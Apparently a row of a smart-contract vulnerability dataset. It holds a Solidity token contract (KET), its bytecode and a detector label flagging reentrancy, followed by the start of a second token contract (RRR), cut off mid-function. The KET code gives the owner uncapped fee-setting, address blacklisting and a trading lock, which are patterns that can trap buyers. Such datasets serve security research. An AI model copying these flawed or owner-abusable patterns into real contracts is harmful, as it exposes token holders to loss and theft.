require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KET is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "KETAMINE";
string private constant _symbol = "KET";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**8;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xcDC50bf61D27b9B4F7d53D0092E176dDaCC9E39d);
address payable private _marketingAddress = payable(0xcDC50bf61D27b9B4F7d53D0092E176dDaCC9E39d);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000 * 10**9;
uint256 public _maxWalletSize = 200000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function swap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setmaxTx(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80638da5cb5b116100f7578063b0c2b56111610095578063dd62ed3e11610064578063dd62ed3e14610552578063ea1644d514610598578063f2fde38b146105b8578063fc342279146105d857600080fd5b8063b0c2b561146104cd578063bfd79284146104ed578063c3c8cd801461051d578063c492f0461461053257600080fd5b806395d89b41116100d157806395d89b411461044157806398a5c3151461046d578063a2a957bb1461048d578063a9059cbb146104ad57600080fd5b80638da5cb5b146103ed5780638f70ccf71461040b5780638f9a55c01461042b57600080fd5b8063313ce5671161016f57806370a082311161013e57806370a0823114610375578063715018a6146103955780637d1db4a5146103aa5780637f2feddc146103c057600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636fc3eaec1461036057600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195c565b6105f8565b005b34801561020a57600080fd5b506040805180820190915260088152674b4554414d494e4560c01b60208201525b6040516102389190611a21565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a76565b610697565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b5067016345785d8a00005b604051908152602001610238565b3480156102da57600080fd5b506102616102e9366004611aa2565b6106ae565b3480156102fa57600080fd5b506102c060185481565b34801561031057600080fd5b5060405160098152602001610238565b34801561032c57600080fd5b50601554610291906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611ae3565b610717565b34801561036c57600080fd5b506101fc610762565b34801561038157600080fd5b506102c0610390366004611ae3565b6107ad565b3480156103a157600080fd5b506101fc6107cf565b3480156103b657600080fd5b506102c060165481565b3480156103cc57600080fd5b506102c06103db366004611ae3565b60116020526000908152604090205481565b3480156103f957600080fd5b506000546001600160a01b0316610291565b34801561041757600080fd5b506101fc610426366004611b10565b610843565b34801561043757600080fd5b506102c060175481565b34801561044d57600080fd5b5060408051808201909152600381526212d15560ea1b602082015261022b565b34801561047957600080fd5b506101fc610488366004611b2b565b61088b565b34801561049957600080fd5b506101fc6104a8366004611b44565b6108ba565b3480156104b957600080fd5b506102616104c8366004611a76565b6108f8565b3480156104d957600080fd5b506101fc6104e8366004611b2b565b610905565b3480156104f957600080fd5b50610261610508366004611ae3565b60106020526000908152604090205460ff1681565b34801561052957600080fd5b506101fc610934565b34801561053e57600080fd5b506101fc61054d366004611b76565b610988565b34801561055e57600080fd5b506102c061056d366004611bfa565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105a457600080fd5b506101fc6105b3366004611b2b565b610a29565b3480156105c457600080fd5b506101fc6105d3366004611ae3565b610a58565b3480156105e457600080fd5b506101fc6105f3366004611b10565b610b42565b6000546001600160a01b0316331461062b5760405162461bcd60e51b815260040161062290611c33565b60405180910390fd5b60005b81518110156106935760016010600084848151811061064f5761064f611c68565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068b81611c94565b91505061062e565b5050565b60006106a4338484610b8a565b5060015b92915050565b60006106bb848484610cae565b61070d843361070885604051806060016040528060288152602001611dae602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ea565b610b8a565b5060019392505050565b6000546001600160a01b031633146107415760405162461bcd60e51b815260040161062290611c33565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6012546001600160a01b0316336001600160a01b0316148061079757506013546001600160a01b0316336001600160a01b0316145b6107a057600080fd5b476107aa81611224565b50565b6001600160a01b0381166000908152600260205260408120546106a89061125e565b6000546001600160a01b031633146107f95760405162461bcd60e51b815260040161062290611c33565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461086d5760405162461bcd60e51b815260040161062290611c33565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108b55760405162461bcd60e51b815260040161062290611c33565b601855565b6000546001600160a01b031633146108e45760405162461bcd60e51b815260040161062290611c33565b600893909355600a91909155600955600b55565b60006106a4338484610cae565b6000546001600160a01b0316331461092f5760405162461bcd60e51b815260040161062290611c33565b601655565b6012546001600160a01b0316336001600160a01b0316148061096957506013546001600160a01b0316336001600160a01b0316145b61097257600080fd5b600061097d306107ad565b90506107aa816112e2565b6000546001600160a01b031633146109b25760405162461bcd60e51b815260040161062290611c33565b60005b82811015610a235781600560008686858181106109d4576109d4611c68565b90506020020160208101906109e99190611ae3565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a1b81611c94565b9150506109b5565b50505050565b6000546001600160a01b03163314610a535760405162461bcd60e51b815260040161062290611c33565b601755565b6000546001600160a01b03163314610a825760405162461bcd60e51b815260040161062290611c33565b6001600160a01b038116610ae75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610622565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b6c5760405162461bcd60e51b815260040161062290611c33565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610bec5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610622565b6001600160a01b038216610c4d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610622565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d125760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610622565b6001600160a01b038216610d745760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610622565b60008111610dd65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610622565b6000546001600160a01b03848116911614801590610e0257506000546001600160a01b03838116911614155b156110e357601554600160a01b900460ff16610e9b576000546001600160a01b03848116911614610e9b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610622565b601654811115610eed5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610622565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2f57506001600160a01b03821660009081526010602052604090205460ff16155b610f875760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610622565b6015546001600160a01b0383811691161461100c5760175481610fa9846107ad565b610fb39190611caf565b1061100c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610622565b6000611017306107ad565b6018546016549192508210159082106110305760165491505b8080156110475750601554600160a81b900460ff16155b801561106157506015546001600160a01b03868116911614155b80156110765750601554600160b01b900460ff165b801561109b57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c057506001600160a01b03841660009081526005602052604090205460ff16155b156110e0576110ce826112e2565b4780156110de576110de47611224565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112557506001600160a01b03831660009081526005602052604090205460ff165b8061115757506015546001600160a01b0385811691161480159061115757506015546001600160a01b03848116911614155b15611164575060006111de565b6015546001600160a01b03858116911614801561118f57506014546001600160a01b03848116911614155b156111a157600854600c55600954600d555b6015546001600160a01b0384811691161480156111cc57506014546001600160a01b03858116911614155b156111de57600a54600c55600b54600d555b610a238484848461146b565b6000818484111561120e5760405162461bcd60e51b81526004016106229190611a21565b50600061121b8486611cc7565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610693573d6000803e3d6000fd5b60006006548211156112c55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610622565b60006112cf611499565b90506112db83826114bc565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132a5761132a611c68565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137e57600080fd5b505afa158015611392573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b69190611cde565b816001815181106113c9576113c9611c68565b6001600160a01b0392831660209182029290920101526014546113ef9130911684610b8a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611428908590600090869030904290600401611cfb565b600060405180830381600087803b15801561144257600080fd5b505af1158015611456573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611478576114786114fe565b61148384848461152c565b80610a2357610a23600e54600c55600f54600d55565b60008060006114a6611623565b90925090506114b582826114bc565b9250505090565b60006112db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611663565b600c5415801561150e5750600d54155b1561151557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153e87611691565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157090876116ee565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159f9086611730565b6001600160a01b0389166000908152600260205260409020556115c18161178f565b6115cb84836117d9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161091815260200190565b60405180910390a3505050505050505050565b600654600090819067016345785d8a000061163e82826114bc565b82101561165a5750506006549267016345785d8a000092509050565b90939092509050565b600081836116845760405162461bcd60e51b81526004016106229190611a21565b50600061121b8486611d6c565b60008060008060008060008060006116ae8a600c54600d546117fd565b92509250925060006116be611499565b905060008060006116d18e878787611852565b919e509c509a509598509396509194505050505091939550919395565b60006112db83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ea565b60008061173d8385611caf565b9050838110156112db5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610622565b6000611799611499565b905060006117a783836118a2565b306000908152600260205260409020549091506117c49082611730565b30600090815260026020526040902055505050565b6006546117e690836116ee565b6006556007546117f69082611730565b6007555050565b6000808080611817606461181189896118a2565b906114bc565b9050600061182a60646118118a896118a2565b905060006118428261183c8b866116ee565b906116ee565b9992985090965090945050505050565b600080808061186188866118a2565b9050600061186f88876118a2565b9050600061187d88886118a2565b9050600061188f8261183c86866116ee565b939b939a50919850919650505050505050565b6000826118b1575060006106a8565b60006118bd8385611d8e565b9050826118ca8583611d6c565b146112db5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610622565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107aa57600080fd5b803561195781611937565b919050565b6000602080838503121561196f57600080fd5b823567ffffffffffffffff8082111561198757600080fd5b818501915085601f83011261199b57600080fd5b8135818111156119ad576119ad611921565b8060051b604051601f19603f830116810181811085821117156119d2576119d2611921565b6040529182528482019250838101850191888311156119f057600080fd5b938501935b82851015611a1557611a068561194c565b845293850193928501926119f5565b98975050505050505050565b600060208083528351808285015260005b81811015611a4e57858101830151858201604001528201611a32565b81811115611a60576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8957600080fd5b8235611a9481611937565b946020939093013593505050565b600080600060608486031215611ab757600080fd5b8335611ac281611937565b92506020840135611ad281611937565b929592945050506040919091013590565b600060208284031215611af557600080fd5b81356112db81611937565b8035801515811461195757600080fd5b600060208284031215611b2257600080fd5b6112db82611b00565b600060208284031215611b3d57600080fd5b5035919050565b60008060008060808587031215611b5a57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8b57600080fd5b833567ffffffffffffffff80821115611ba357600080fd5b818601915086601f830112611bb757600080fd5b813581811115611bc657600080fd5b8760208260051b8501011115611bdb57600080fd5b602092830195509350611bf19186019050611b00565b90509250925092565b60008060408385031215611c0d57600080fd5b8235611c1881611937565b91506020830135611c2881611937565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca857611ca8611c7e565b5060010190565b60008219821115611cc257611cc2611c7e565b500190565b600082821015611cd957611cd9611c7e565b500390565b600060208284031215611cf057600080fd5b81516112db81611937565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4b5784516001600160a01b031683529383019391830191600101611d26565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da857611da8611c7e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200b53998966bd64ae6d25ebd93ccdce8e4696c724fcf0cc9fe5b8179fcb43442264736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,101 |
0x179130278421303d2c0c54643beee484026ec4b2
|
/**
*Submitted for verification at Etherscan.io on 2021-07-01
*/
//RRR (RRR)
//2% Deflationary yes
//Bot Protect yes
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract RRR is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "RRR";
string private constant _symbol = "RRR";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
